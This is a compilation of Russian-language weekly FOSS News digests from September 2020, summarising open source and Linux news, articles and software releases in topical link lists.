Продолжаем дайджесты новостей и других материалов о свободном и открытом ПО и немного о железе. Всё самое главное про пингвинов и не только, в России и мире. Сила Open Source проявившаяся в ходе пандемии, угроза блокировки Fediverse клиентов в Google Play, устройство графики в GNU/Linux дистрибутивах, разновидности Ubuntu, история перехода одного турецкого муниципалитета на открытые технологии, история становления инженера и многое другое.

Оглавление


  1. Главные новости
    1. Сила Open Source, проявившаяся в ходе пандемии
    2. Не принимающие цензуру приложения для соцсетей Fediverse могут быть удалены из Google Play
    3. Как устроена графика в Linux: обзор различных сред оформления рабочего стола
    4. Многоликая Убунта в 2020 году
    5. Как правительство одного муниципалитета в Турции переехало на Open Source
    6. Драматическая история становления Open Source инженера
  2. Короткой строкой
    1. Мероприятия
    2. Новости FOSS организаций
    3. Ядро и дистрибутивы
    4. Специальное
    5. Безопасность
    6. DevOps
    7. Web
    8. Для разработчиков
    9. Пользовательское
    10. Игры
    11. Железо
    12. Разное
  3. Релизы
    1. Ядро и дистрибутивы
    2. Системный софт
    3. DevOps
    4. Web
    5. Для разработчиков
    6. Специальный софт
    7. Пользовательский софт


Главные новости



Сила Open Source, проявившаяся в ходе пандемии





Opensource.com пишет: Для успешного решения общих глобальных проблем требуется открытый исходный код как его принципы, так и сам код для быстрого стимулирования инноваций и устранения пробелов в эффективном удалённом сотрудничестве. Когда в начале этого года в заголовках газет попал новый коронавирус, мир был не готов. В течение многих лет члены сообщества разработчиков ПО с открытым исходным кодом сотрудничали друг с другом в подобных проектах. Мы начали работать вместе в отдаленных районах задолго до пандемии. Наши процессы и политики, задокументированные или нет, позволили нам с огромной скоростью продвигать технологическую отрасль. Теперь, похоже, остальной мир следует нашему примеру, адаптируя открытые принципы и практики для создания глобальных изменений. Опираясь на принципы и код открытого исходного кода, мы могли бы действительно создавать более эффективные общие решения и стратегии, которые могли бы помочь нам всем остановить глобальную пандемию.

Подробности (en)

Не принимающие цензуру приложения для соцсетей Fediverse могут быть удалены из Google Play





OpenNET пишет: Компания Google направила разработчикам Android-приложений Husky, Fedilab и Subway Tooter, позволяющих общаться в децентрализованных социальных сетях Fediverse, предупреждение о необходимости устранения нарушений правил каталога Play Store. На устранение замечаний дано 7 дней, после чего не выполнившие требования приложения будут удалены из каталога Google Play. В качестве причины намеченной блокировки упоминается возможность использования приложений для доступа к генерируемому пользователями контенту, подстрекающему к дискриминации и включающему элементы риторики ненависти. Судя по всему, уведомления получили приложения, в которых отсутствует цензурирование и не выполняется блокировка серверов, на которых присутствуют группы, допускающие расизм, ксенофобию, экстремизм и межнациональную вражду. Роскомсвобода приводит слова директора по распространению технологий компании Яндекс Григорий Бакунов: А как, как гугл себе представляет борьбу с этим? Это же просто клиент, который обслуживает протокол, сами сервисы делают вообще другие люди. Давайте тогда Хром запретим и удалим из стора, он же позволяет открыть те же самые сайты соцсетей!.

Подробности (1, 2)

Как устроена графика в Linux: обзор различных сред оформления рабочего стола





На Хабре появился интересный пост с ликбезом на тему графической составляющей дистрибутивов GNU/Linux. Во введении автор пишет Если вы не сильно различаете KDE и GNOME или различаете, но хотели бы узнать, какие еще есть альтернативы, то эта статья для вас. Она обзорная, и хотя в ней много названий и немного терминов, материал будет также полезен начинающим и только посматривающим в сторону Linux. Тема может заинтересовать и продвинутых пользователей при настройке удаленного доступа и при реализации тонкого клиента. Часто встречаю вполне матерых линуксойдов с утверждениями на сервере только командная строка, и графику подробнее изучать не планирую, так как это всё нужно для простых пользователей. Но даже знатоки Linux с большим удивлением и радостью открывают для себя опцию -X у команды ssh.

Подробности

Многоликая Убунта в 2020 году





Ещё один обзорный материал на Хабре. Перед вами необъективный, несерьёзный и нетехнический обзор операционной системы Ubuntu Linux 20.04 и пяти её официальных разновидностей. Если вас интересуют версии ядра, glibc, snapd и наличие экспериментального сеанса wayland вам не сюда. Если вы впервые слышите о Линуксе и вам интересно понять, как о ней думает человек, который сидит под Убунтой уже восемь лет, то вам сюда. Если вы просто хотите посмотреть что-то не очень сложное, слегка ироничное и с картинками, то вам тоже сюда. Если вам кажется, что под катом куча неточностей, упущений и передёргиваний и напрочь отсутствует логика возможно, так и есть, но это же нетехнический и необъективный обзор презентует свою статью автор.

Подробности

Как правительство одного муниципалитета в Турции переехало на Open Source





Интересный материал о внедрении открытых технологий вышел на Opensource.com. В 2015 году муниципалитет Эйюп в Стамбуле, Турция, начал смелый переход на использование программного обеспечения с открытым исходным кодом. Это повлекло за собой несколько серьёзных изменений: Linux на рабочем столе и серьезные изменения в ИТ-инфраструктуре, включая переход на почтовый сервер Zimbra и базу данных PostgreSQL. Это было важное решение, и оно было принято нелегко пишет издание и приводит информацию о ходе обучения пользователей и этапах перехода.

Подробности (en)

Драматическая история становления Open Source инженера





На Opensource.com вышел материал о личном опыте перехода от ненависти к любви к Open Source одного инженера. Пять прошедших лет были невероятным путём от непрограммиста до младшего инженера-программиста в Red Hat. Это история, которую стоит рассказать не потому, что я многого добилась, а из-за большого количества драматизма и множества ловушек. Так что возьмите чашку кофе, и я поделюсь своей историей любви к технологиям пишет автор во введении.

Подробности (en)

Короткой строкой



Мероприятия



  1. Zabbix Summit 2020 пройдёт онлайн []
  2. Обзор OpenStack Neutron PTG июнь 2020 []
  3. Онлайн-интенсив SRE: всё сломаем до основания, потом починим, ещё пару раз сломаем, а затем выстроим заново []


Новости FOSS организаций



Сотрудники компании Mozilla опубликовали результаты исследования возможности идентификации пользователей на основании профиля посещений в браузере []

Ядро и дистрибутивы



  1. Статистика развития ядра Linux []
  2. Fedora IoT, комплексное решение для Интернета вещей, становится официальной редакцией Fedora []
  3. Microsoft оптимизирует ядро Linux для серверных ARM []
  4. Как выбирать программное обеспечение для патчинга ядра Linux в реальном времени []
  5. Делая Zephyr (ОС реального времени для встраиваемых устройств) более безопасным интервью [ (en)]
  6. Обзор PCLinuxOS: классический GNU/Linux дистрибутив, который определённо стоит посмотреть [ (en)]


Специальное



  1. Gnuplot и с чем его едят []
  2. Интервью с основателем проекта оповещений о землетрясениях [ (en)]
  3. Дизайн обложки книги с помощью Scribus, открытой альтернативы InDesign [ (en)]


Безопасность



  1. Расширение для Chrome, которое предупредит вас о слежке []
  2. Уязвимость в реализации сокетов AF_PACKET ядра Linux []
  3. Обновление GnuPG 2.2.23 с устранением критической уязвимости []
  4. Анализ активности атакующих, связанной с подбором паролей по SSH []
  5. Уязвимости в сканерах безопасности образов Docker-контейнеров []
  6. Критическая уязвимость в WordPress-плагине File Manager, имеющем 700 тысяч установок []


DevOps



  1. Мониторим Спортмастер как и чем []
  2. Некоторые аспекты управления VDS-сервером под Linux []
  3. Перенос почты между серверами через интерфейс пользователя посредством IMAPSync []
  4. Логирование в Kubernetes: как собирать, хранить, парсить и обрабатывать логи []
  5. Как мы выпускаем исправления к ПО в GitLab []
  6. Ускоряем Ansible []
  7. Описание инфраструктуры в Terraform на будущее. Антон Бабенко (2018г) []
  8. Анонс иерархических пространств имен для Kubernetes []
  9. ELK, SIEM из OpenSource, Open Distro: Case management []
  10. Разбираемся с Custom Tooling в Argo CD []
  11. Открытие портов и роутинг трафика. Заметки по настройке файерволла [ (en)]


Web



4 причины почему Jamstack меняет веб разработку [ (en)]

Для разработчиков



  1. O tempora, o mores!. О библиотеке Tempus для работы с временными интервалами []
  2. Как использовать простую утилиту для поиска уязвимостей в программном коде []
  3. Freeradius + Google Autheticator + LDAP + Fortigate []
  4. Формулы переводов: хитрая локализация для iOS и не только []
  5. Кракс! Миллениалы изобрели Python фреймворк []
  6. Сборка сложных Node.js проектов утилитой run-z []
  7. Разработка Java-приложений для Kubernetes с использованием Eclipse JKube []
  8. Обновления в Chipmunk []
  9. Проверка QEMU с помощью PVS-Studio []
  10. Разработка системы оповещений с использованием камеры наблюдения и Node-RED с TensorFlow.js [ (en)]
  11. Создание консоли для удалённого управления с использованиеPython и Jupyter Notebooks [ (en)]
  12. Управление цепочкой поставок некоммерческой организации с помощью Groovy [ (en)]
  13. Создание мобильного приложения с помощью Flutter [ (en)]
  14. Оптимизация производительности с семантикой перемещения в C++ [ (en)]


Пользовательское



  1. Нововведения, исправления и улучшения интерфейса в Plasma 5.20. Дайджест []
  2. Дата выхода Ubuntu 20.10 []
  3. Установка KDE Neon []
  4. Настройка SELinux []
  5. Настройка Vim []
  6. В Chrome для Android включена поддержка DNS-over-HTTPS []
  7. Для GNOME подготовлена система круговых меню Fly-Pie []
  8. Проект Iceweasle Mobile начал развитие форка нового Firefox для Android []
  9. Практическое руководство по изучению awk [ (en)]
  10. Как скопировать/вставить текст в GNU/Linux терминале (для абсолютных новичков) [ (en)]
  11. Скоро у вас будет возможность преобразовать любой сайт в desktop приложение в Linux Mint [ (en)]
  12. Как попробовать Linux на вашем Mac с открытой системой виртуализации [ (en)]
  13. Rclone Browser позволяет синхронизировать данные с облачными сервисами в GNU/Linux с использованием графического интерфейса [ (en)]
  14. Как настроить распознавание лица для входа в Ubuntu и другие GNU/Linux дистрибутивы [ (en)]


Игры



От мастера консоли до гроссмейстера: играем в шахматы в консоли [ (en)]

Железо



  1. Анонсирован смартфон PinePhone на Manjaro Linux []
  2. TUXEDO Computers представил 2 игровых ноутбука на GNU/Linux [ 1, 2 (en)]
  3. Компания Lenovo начала поставку ноутбуков ThinkPad с предустановленным Fedora Linux [ 1, 2]


Разное



  1. Опубликован шрифт, автоматически цензурирующий оскорбительные выражения []
  2. Почему Open Source вашему проекту нужны не только программисты [ (en)]
  3. Настройка подобия школьного звонка на вашем GNU/Linux дистрибутиве [ (en)]


Релизы



Ядро и дистрибутивы



  1. Компания Oracle выпустила ядро Unbreakable Enterprise Kernel R5U4 []
  2. Amazon опубликовал Bottlerocket 1.0.0, Linux-дистрибутив на базе изолированных контейнеров []
  3. Опубликованы Linux From Scratch 10 и Beyond Linux From Scratch 10 []
  4. Выпуск Chrome OS 85 []
  5. Выпуск дистрибутива Nitrux 1.3.2, перешедшего с systemd на OpenRC []
  6. Релиз ОС реального времени Embox v0.4.3 []
  7. Релиз ОС Genode 20.08 []


Системный софт



Выпуск композитного сервера Weston 9.0 []

DevOps



Вышел cert-manager 1.0 []

Web



  1. Выпуск сервера web-конференций Apache OpenMeetings 5.0 []


Для разработчиков



QtProtobuf 0.5.0 []

Специальный софт



  1. ZombieTrackerGPS v1.02 []
  2. Выпуск свободной системы 3D-моделирования Blender 2.90 [ 1, 2]
  3. Выпуск видеоредактора CinelerraGG 2020-08 []
  4. Выпуск VirtualBox 6.1.14 []
  5. Релиз свободного видеоредактора Avidemux 2.7.6 []


Пользовательский софт



  1. BashStyle-NG 10.7.2. Релиз утилиты для настройки оболочки Bash []
  2. Выпуск редактора CudaText 1.110.3 []
  3. Выпуск браузера Pale Moon 28.13 []
  4. Обновление Firefox 80.0.1. Тестирование нового оформления адресной строки []
  5. Выпуск Protox 1.6, Tox-клиента для мобильных платформ [ 1, 2]
  6. Доступен предварительный выпуск Xfce 4.16 []
  7. Обновление почтового клиента Thunderbird 78.2.1 []
  8. Выпуск утилиты htop 3.0 [ 1, 2, 3]





На этом всё, до следующего воскресенья!

Высказываю большое спасибо OpenNET, много новостных материалов и сообщений о новых релизах взято с их сайта.

Если кто интересуется составлением дайджестов и имеет время и возможность помочь буду рад, пишите по контактам, указанным в моём профиле, или в личные сообщения.

Подписывайтесь на наш Telegram канал или RSS чтобы не пропустить новые выпуски FOSS News.

Ещё вам может быть интересен дайджест от opensource.com с новостями последней недели, он не пересекается с моим.

Также стоит посмотреть новый номер близкого нам обзора от единомышленников с сайта Пингвинус #22.

Предыдущий выпуск
Подробнее..

FOSS News 33 дайджест новостей свободного и открытого ПО за 7-13 сентября 2020 года

13.09.2020 22:06:31 | Автор: admin


Всем привет!

Продолжаем дайджесты новостей и других материалов о свободном и открытом ПО и немного о железе. Всё самое главное про пингвинов и не только, в России и мире. 3 млрд рублей от Astra Linux на поддержку других компаний по развитию экосистемы, выпуск Android 11, история успеха WebKit, поддержка монтирования Linux файловых систем в WSL, аналитика на тему того почему Open Source нужен бизнесу, и многое другое. И с прошедшим Днём программиста всех причастных!

Оглавление


  1. Главные новости
    1. Группа компаний Astra Linux намерена инвестировать 3 млрд руб. в экосистему Linux
    2. Выпуск мобильной платформы Android 11
    3. Движок, который смог: как Chromium удалось захватить 90% рынка браузеров
    4. Microsoft добавил в WSL2 возможность монтирования дисков
    5. Аналитический материал TODO Group: почему Open Source важен для вашей компании
  2. Короткой строкой
    1. Мероприятия
    2. Новости FOSS организаций
    3. DIY
    4. Юридические вопросы
    5. Ядро и дистрибутивы
    6. Системное
    7. Специальное
    8. Безопасность
    9. DevOps
    10. Data Science
    11. Web
    12. Для разработчиков
    13. Пользовательское
    14. Игры
    15. Разное
  3. Релизы
    1. Ядро и дистрибутивы
    2. Системный софт
    3. Web
    4. Для разработчиков
    5. Специальный софт
    6. Игры
    7. Пользовательский софт


Главные новости



Группа компаний Astra Linux намерена инвестировать 3 млрд руб. в экосистему Linux





OpenNET со ссылкой на Коммерсантъ пишет: Группа компаний Astra Linux планирует выделить 3 млрд руб. на инвестиции в акции компаний, совместные предприятия и гранты для небольших разработчиков, развивающих нишевые решения для программного стека на базе Linux. Инвестиции помогут решить проблему с отсутствием функциональности в отечественном программном стеке, необходимой для решения задач ряда корпоративных и государственных предприятий. Компания намерена построить полный технический стек, который бы закрывал потребности заказчиков во всех узких сегментах. На сайте Коммерсанта также приведено дополнение о контексте такого решения: 1) продажи продуктов Astra Linux по итогам прошлого года выросли более чем в два раза, за первое полугодие этого года рост был более чем двукратным; 2) Astra Linux один из крупнейших поставщиков силовиков (я уже писал о масштабной закупке в 31 000 лицензий в первом выпуске FOSS News vk.com/@permlug-foss-news-0).

Подробности: 1, 2, 3

Выпуск мобильной платформы Android 11





OpenNET пишет: Компания Google опубликовала релиз открытой мобильной платформы Android 11. Связанные с новым выпуском исходные тексты размещены в Git-репозиторий проекта (ветка android-11.0.0_r1). Обновления прошивки подготовлены для устройств серии Pixel, а также для смартфонов производства OnePlus, Xiaomi, OPPO и Realme. Также сформированы универсальные сборки GSI (Generic System Images), подходящие для разных устройств на базе архитектур ARM64 и x86_64. По данным издания новшества касаются улучшений интерфейса, безопасности, голосового управления, связи, приватности и многого другого.

Подробности

Движок, который смог: как Chromium удалось захватить 90% рынка браузеров





На Хабре вышел перевод материала об истории и причинах популярности Chromium: От браузерного движка, который изначально был малоизвестной альтернативой, применявшейся в непопулярном браузере, до чемпиона, захватившего весь рынок. Подводя итоги статьи (которую явно стоит прочитать целиком) автор пишет: С исторической перспективы траектория развития Webkit является настоящим чудом. И оно возникло благодаря открытости и поддержке сообщества. Но столь же важно поддерживать браузерное разнообразие и возможности инноваций.

Подробности

Microsoft добавил в WSL2 возможность монтирования дисков





OpenNET пишет: Компания Microsoft сообщила о расширении функциональности подсистемы WSL2 (Windows Subsystem for Linux), обеспечивающей запуск исполняемых файлов Linux в Windows. Начиная со сборки Windows Insiders 20211 в WSL2 добавлена поддержка монтирования файловых систем с физических дисков. Для монтирования предложена команда wsl --mount, при помощи которой в том числе можно примонтировать в WSL раздел c ФС, не имеющей встроенной поддержки Windows, например, можно получить доступ к разделу с ФС ext4. Указанную возможность можно использовать для организации работы с одним и тем же Linux-разделом при наличии на компьютере нескольких операционных систем (Windows и Linux). Не знаю кому как, но для меня это веский повод озаботиться дополнительной безопасностью GNU/Linux системы, если я соберусь использовать Dual Boot.

Подробности: 1, 2, 3

Аналитический материал TODO Group: почему Open Source важен для вашей компании





Linux Foundation пишет Есть много бизнес-причин для использования программного обеспечения с открытым исходным кодом. Многие из наиболее значительных достижений современного бизнеса, включая большие данные, машинное обучение, облачные вычисления, Интернет вещей и потоковую аналитику, стали результатом инноваций в области программного обеспечения с открытым исходным кодом. Программное обеспечение с открытым исходным кодом часто используется в организации в качестве основы для многих важных устройств, программ, платформ и инструментов, таких как робототехника, датчики, Интернет вещей (IoT), автомобильная телематика и автономное вождение, периферийные вычисления и вычисления больших данных Хотя программное обеспечение с открытым исходным кодом предлагает множество надежных и доказанных бизнес-преимуществ, иногда эти преимущества остаются неясными для тех, кто не изучал эту тему глубоко, включая многих высокопоставленных лиц, принимающих решения. Этот документ, опубликованный европейским отделением TODO Group, направлен на предоставление сбалансированного и быстрого обзора бизнес-плюсов и минусов использования программного обеспечения с открытым исходным кодом.

Подробности (en)

Статья TODO Group (en)

Короткой строкой



Мероприятия



Обновлённый анонс обновлённых интенсивов: Kubernetes oт альфы до омеги []

Новости FOSS организаций



  1. Анонс Red Hat Marketplace маркетплейса для ПО, запускаемого в гибридном облаке []
  2. На благо нашего общего будущего. Creative Commons возглавила Кэтрин Стилер, бывший евродепутат и CEO OKF []
  3. Mozilla представила новые возможности по продвижению дополнений к Firefox []
  4. 10 Kubernetes-инструментов из разряда важно, шпаргалка по созданию Kubernetes-операторов на Java и многое другое. Полезные ссылки на живые мероприятия, видео, митапы и техтолки от RedHat []


DIY



Релиз SEMMi Analytics 2.0 []

Юридические вопросы



  1. Более 60 компаний смягчили условия расторжения лицензии для GPLv2-кода []
  2. Как команды юристов Open Source проектов могут помочь в их развитии [ (en)]


Ядро и дистрибутивы



  1. Huawei будет использовать собственную ОС Harmony для смартфонов []
  2. Huawei открыла доступ к Harmony OS 2.0 []
  3. В Fedora 34 намерены убрать отключение SELinux на лету и перейти на поставку KDE с Wayland []
  4. Вышел минималистичный Linux-дистрибутив Bottlerocket для запуска контейнеров. Самое главное о нём []
  5. Elementary OS запустили на Pinebook Pro []
  6. Релиз дистрибутива Q4OS 3.12. Что нового []


Системное



Подкаст с контрибьютором проектов OpenZFS и ZFS on Linux []

Специальное



  1. TeX в SVG: опенсорс-решение в помощь веб-разработчикам образовательных проектов []
  2. Миграция с MySQL на PostgreSQL []


Безопасность



  1. Уязвимость в TLS, допускающая определение ключа для соединений на базе шифров DH []
  2. Новый YubiKey 5C NFC ключ безопасности позволяет использовать NFC для простой безопасной аутентификации устройств [ (en)]


DevOps



  1. Как автоматизировать оркестрацию контейнеров с Ansible модулями для Kubernetes [ (en)]
  2. Управление SSH соединениями со специальным инструментом nccm [ (en)]
  3. Как устанавливать софт с помощью Ansible [ (en)]
  4. Управление данными облачных сервисов с Apache Ranger [ (en)]
  5. Оценка производительности CNI для Kubernetes по 10G сети (август 2020) []
  6. Как получить доступ к ресурсам Kubernetes Pod []
  7. VictoriaMetrics и мониторинг приватных облаков. Павел Колобаев []
  8. Эфемерные тома с отслеживанием емкости хранилища: EmptyDir на стероидах []
  9. Мониторинг микросервисов Flask с помощью Prometheus []
  10. Я сделал свой PyPI-репозитарий с авторизацией и S3. На Nginx []
  11. Простое объяснение CRD в Kubernetes и как его использовать []


Data Science



Развёртывание модели глубокого обучение на Kubernetes [ (en)]

Web



  1. В Chrome началось включение блокировщика ресурсоёмкой рекламы []
  2. Путь к Федеративному GraphQL []
  3. Опенсорсные альтернативы Google Analytics на своём хостинге []
  4. Midmare свободный от HTTP-Layer модуль Node.js []


Для разработчиков



  1. Утверждён стандарт C++20 []
  2. Упаковка приложения в F-Droid []
  3. Результаты опроса разработчиков, использующих Ruby on Rails []
  4. Как фреймворк тестирования Fixie развивается вместе с .NET [ (en)]
  5. Как сделать презентацию с помощью Jupyter Notebooks [ (en)]
  6. Создаём приложение на gtk []
  7. Как Иван ошибку в бэкенде локализовывал []


Пользовательское



  1. На этой неделе в KDE: аннотации в Spectacle и прочее []
  2. В компоненте текстового редактора KTextEditor задействована поддержка цветовых схем из библиотеки KSyntaxHighlighting []
  3. ТОП 7 аналогов утилиты top []
  4. Сброс настроек Ubuntu []
  5. Настройка Linux Mint 20 после установки []
  6. Руководство начинающего по работе с SSH для подключений к удалённым машинам в GNU/Linux [ (en)]
  7. Линукспросвет: Что такое Linux дистрибутив? Почему он называется дистрибутив? [ (en)]
  8. Zim: Wiki-подобное приложение для ведения заметок, которое упрощает жизнь [ (en)]
  9. Как подключиться к WiFi из терминала в Ubuntu Linux [ (en)]
  10. Выключение GNU/Linux занимает слишком много времени? Руководство по исследованию и исправлению проблемы [ (en)]


Игры



  1. Игры в Linux. Всё, что вам нужно знать []
  2. Возрождение проекта Free Heroes of Might and Magic II (олды тут?) []


Разное



  1. Разбираемся в особенностях графической подсистемы микроконтроллеров []
  2. Как сломанная спина привела одного человека в Open Source [ (en)]
  3. Опрос: что вы думаете об иконке сохранения? [ (en)]
  4. Почему будущее IoT зависит от Open Source? [ (en)]
  5. Работа с командной строкой IoT ОС RT-Thread [ (en)]
  6. Хотите принимать лучшие решения? Поощряйте несогласие [ (en)]
  7. Как установить Ubuntu Server на Raspberry Pi [ (en)]


Релизы



Ядро и дистрибутивы



  1. Релиз дистрибутива Manjaro Linux 20.1 []
  2. Выпуск дистрибутива Deepin 20, развивающего собственное графическое окружение []
  3. Выпуск OpenWrt 19.07.4 []
  4. Релиз дистрибутива Ubuntu*Pack (OEMPack) 20.04 от проекта UALinux []
  5. Выпуск дистрибутива Zorin OS 15.3 []


Системный софт



Проект Gentoo представил систему управления пакетами Portage 3.0 [ 1, 2]

Web



  1. Релиз браузерного движка WebKitGTK 2.30.0 и web-браузера Epiphany 3.38 []
  2. Выпуск децентрализованной видеовещательной платформы PeerTube 2.4 []
  3. Выпуск DNS-сервера KnotDNS 3.0.0 []
  4. Выпуск libtorrent 2.0 с поддержкой протокола BitTorrent 2 []
  5. torxy прозрачный HTTP/HTTPS-прокси, позволяющий перенаправлять трафик на выбранные домены через TOR-сервер []


Для разработчиков



  1. Вышел релиз GitLab 13.3 с полным покрытием фаззинг-тестированием и матрицей сборки для CI/CD []
  2. Релиз среды разработки приложений KDevelop 5.6 [ 1, 2]


Специальный софт



  1. Выпуск Wine 5.17 []
  2. Inkscape 1.0.1. Новый диалог для управления CSS стилями []
  3. Релиз программы обработки видео Cine Encoder 2020 SE 2.4 []
  4. Выпуск NightShift 0.9.1, свободной реализации сервиса управления сигнализацией Астра Дозор [ 1, 2]
  5. Доступен мультимедийный фреймворк GStreamer 1.18.0 []
  6. Выпуск редактора векторной графики Inkscape 1.0.1 []
  7. Выпуск Hotspot 1.3.0, GUI для анализа производительности в Linux []
  8. Релиз сервера для хранения и категоризации музыки Funkwhale 1.0 []
  9. CCZE 0.3.0 Phoenix []


Игры



Доступен GameMode 1.6, оптимизатор производительности игр в Linux []

Пользовательский софт



  1. Основные фичи GNOME 3.38 []
  2. Обновление почтового клиента Thunderbird 78.2.2 []





На этом всё, до следующего воскресенья!

Высказываю большое спасибо OpenNET, много новостных материалов и сообщений о новых релизах взято с их сайта.

Если кто интересуется составлением дайджестов и имеет время и возможность помочь буду рад, пишите по контактам, указанным в моём профиле, или в личные сообщения.

Подписывайтесь на наш Telegram канал, группу ВКонтакте или RSS чтобы не пропустить новые выпуски FOSS News.

Ещё вам может быть интересен короткий дайджест от opensource.com (en) с новостями последней недели, он практически не пересекается с моим.

Также стоит посмотреть новый выпуск близкого моему новостного обзора с сайта Пингвинус #23.

Предыдущий выпуск

Пользуясь случаем поздравляю всех причастных с недавним Днём программиста! Редких багов, счастливых пользователей, довольных менеджеров и, насколько возможно, идеального кода! И главное личного счастья!

Подробнее..

FOSS News 34 дайджест новостей свободного и открытого ПО за 14-20 сентября 2020 года

20.09.2020 18:23:47 | Автор: admin


Всем привет!

Продолжаем дайджесты новостей и других материалов о свободном и открытом ПО и немного о железе. Всё самое главное про пингвинов и не только, в России и мире. О направлении развития Linux и проблемах с процессом его разработки, об инструментах поиска лучшего FOSS софта, боль от использования Google Cloud Platform и рассуждения о том насколько нужно поддерживать обратную совместимость, видео о дистрибутивах GNU/Linux для новичков, о награждении KDE Akademy Awards и многое другое.

Оглавление


  1. Главные новости
    1. Что нового в ядре Linux и куда оно развивается
    2. Почему нет удобного инструмента для сравнения и выбора лучших Open Source программ?
    3. Дорогой Google Cloud, отказ от обратной совместимости тебя убивает
    4. Процесс разработки Linux: стоит ли игра свеч?
    5. Выбор дистрибутива Linux для дома
    6. Названы обладатели премии KDE Akademy Awards
  2. Короткой строкой
    1. Мероприятия
    2. Открытие кода и данных
    3. Новости FOSS организаций
    4. Юридические вопросы
    5. Ядро и дистрибутивы
    6. Безопасность
    7. DevOps
    8. Web
    9. Для разработчиков
    10. Пользовательское
    11. Железо
    12. Разное
  3. Релизы
    1. Ядро и дистрибутивы
    2. Системный софт
    3. Безопасность
    4. Для разработчиков
    5. Специальный софт
    6. Мультимедиа
    7. Игры
    8. Пользовательский софт


Главные новости


Что нового в ядре Linux и куда оно развивается





На сайте HP Enterprise появилась статья с рассуждениями о будущем Linux. Автор, CEO Vaughan-Nichols & Associates Стивен Ван-Никольс, пишет: По прошествии стольких лет разработчики Linux продолжают вводить новшества. Новые версии будут быстрее и стабильнее. Linux работает практически везде: все 500 из 500 самых быстрых суперкомпьютеров в мире; большая часть общедоступных облаков, даже в Microsoft Azure; и 74 процента смартфонов. Действительно, благодаря Android Linux является самой популярной операционной системой для конечных пользователей, опережая Windows на 4% (39% против 35%). Итак, что дальше с Linux? Я рассказывал о Linux почти за все 29 лет его истории и знал практически всех, кто был в кругах разработчиков Linux, включая Линуса Торвальдса, и думаю, что у меня есть ключ к ответу на вопрос о том, куда движется Linux.

Подробности (en)

Почему нет удобного инструмента для сравнения и выбора лучших Open Source программ?





На Functionize появилась статья с описанием попытки разобраться, как выбрать лучший FOSS софт, автор пишет: Мудрость толпы вдохновила на создание всевозможных онлайн-сервисов, в которых люди делятся своим мнением и направляют других в принятии решений. Интернет-сообщество создало множество способов сделать это, например обзоры Amazon, Glassdoor (где вы можете оценивать работодателей), а также TripAdvisor и Yelp (для отелей, ресторанов и других поставщиков услуг). Вы также можете оценивать или рекомендовать коммерческое программное обеспечение, например, в магазинах мобильных приложений или на таких сайтах, как Product Hunt. Но если вам нужен совет, который поможет вам выбрать приложения с открытым кодом, результаты неутешительны.

Подробности (en)

Дорогой Google Cloud, отказ от обратной совместимости тебя убивает





На Хабре появилась переводная статья с описанием боли, которую испытывает несколько лет проработавший в Google автор из-за используемого в Google Cloud Platform подхода, похожего на запланированное устаревание и вынуждающего пользователей каждый пару лет вносить существенные правки в свой код использующий этого облачного провайдера. В статье описываются, для контраста, решения которые поддерживаются многие годы и где действительно заботятся об обратной совместимости (GNU Emacs, Java, Android, Chrome). Статья пожалуй будет интересна не только пользователям GCP, но и разработчикам ПО, которое должно работать хотя бы несколько лет. И поскольку в статьей упоминается много примеров из мира FOSS, статья вписалась в дайджест.

Подробности

Процесс разработки Linux: стоит ли игра свеч?





На Хабре вышел переводной материал от автора с солидным опытом разработки, где он рассуждает о том, как сейчас организован процесс разработки ядра Linux, и критикует его: К настоящему моменту Linux существует уже почти три десятка лет. В ранние дни этой ОС Линус Торвальдс сам управлялся с кодом, написанным другими программистами, делающими вклад в развитие Linux. Тогда не было никаких систем контроля версий, всё делалось вручную. В современных условиях те же задачи решаются с использованием git. Правда, всё это время кое-что оставалось неизменным. А именно, код отправляют в список рассылки (или в несколько списков), а там его проверяют и обсуждают до тех пор, пока он не будет сочтён готовым для включения в ядро Linux. Но, несмотря на то, что этот процесс работы с кодом успешно использовался многие годы, он постоянно подвергался критике. Я полагаю, что моё положение позволяет мне высказать некоторые идеи относительно разработки ядра Linux.

Подробности

Выбор дистрибутива Linux для дома





На YouTube канале Алексея Самойлова, популярного видеоблоггера снимающего ролики про Linux, появилось новое видео Выбор дистрибутива Linux для дома (2020). В нём автор рассказывает про лучшие, по его мнению, дистрибутивы для дома, актуализируя своё видео 4-летней давности. Описанные в видео дистрибутивы практически не требуют настройки после установки и лучше всего подходят для начинающих. В ролике рассмотрены: ElementaryOS, KDE Neon, Linux Mint, Manjaro, Solus.

Видео

Названы обладатели премии KDE Akademy Awards





OpenNET пишет:

На прошедшей конференции KDE Akademy 2020 названы обладатели премии KDE Akademy Awards, присуждаемой наиболее выдающимся участникам сообщества KDE.
  1. В номинации Лучшее приложение награду получил Bhushan Shah за разработку платформы Plasma Mobile. В прошлом году премия была присуждена Marco Martin за разработку фреймворка Kirigami.
  2. Премия за вклад, не связанный с разработкой приложений, присуждена Carl Schwan за работу по модернизации сайтов KDE. В прошлому году премию получил Nate Graham за ведение блога о ходе разработки KDE.
  3. Специальный приз от жюри присуждён Ligi Toscano за деятельность по локализации KDE. В прошлом году премию получил Volker Krause за участие в разработке различных приложений и фреймворков, включая KDE PIM и KDE Itinerary.
  4. Специальный приз от организации KDE e.V. получили Kenny Coyle, Kenny Duffus, Allyson Alexandrou и Bhavisha Dhruve за работу по проведению конференции KDE Akademy


Источник и ссылки на подробности

Короткой строкой



Мероприятия



  1. Бесплатный вебинар Обзор возможностей Kubespray []
  2. Онлайн митап Zabbix и сессия вопросов/ответов с Алексеем Владышевым []


Открытие кода и данных



  1. Библиотеки сжатия LZHAM и Crunch переведены в общественное достояние []
  2. Компания IBM открыла наработки, связанные с процессором A2O POWER []
  3. Google открыл код ветроэнергетической платформы Makani []
  4. Компания Comodo планирует открыть исходный код продукта Endpoint Detection and Response (EDR) []
  5. VPN провайдер TunnelBear борется с цензурой в Иране и публикует часть своей работы с открытым исходным кодом, что позволяет добавить поддержку ESNI к OkHttp [ 1, 2]


Новости FOSS организаций



  1. Red Hat развивает новую ФС NVFS, эффективную для NVM-памяти []
  2. GitHub опубликовал интерфейс командной строки GitHub CLI 1.0 []
  3. Mozilla заинтересовалась алгоритмами YouTube по странным рекомендациям видео []


Юридические вопросы



  1. Wargaming выдвинула новое обвинение к разработчикам Battle Prime, добавив технодемо 2017 года [ 1, 2]
  2. Open Usage Commons: инициатива Google по управлению товарными знаками для проектов с открытым исходным кодом вызывает споры [ (en)]


Ядро и дистрибутивы



  1. Поддерживаю драйвер tp-link t4u для linux []
  2. Для PinePhone подготовлена универсальная сборка с 13 дистрибутивами []
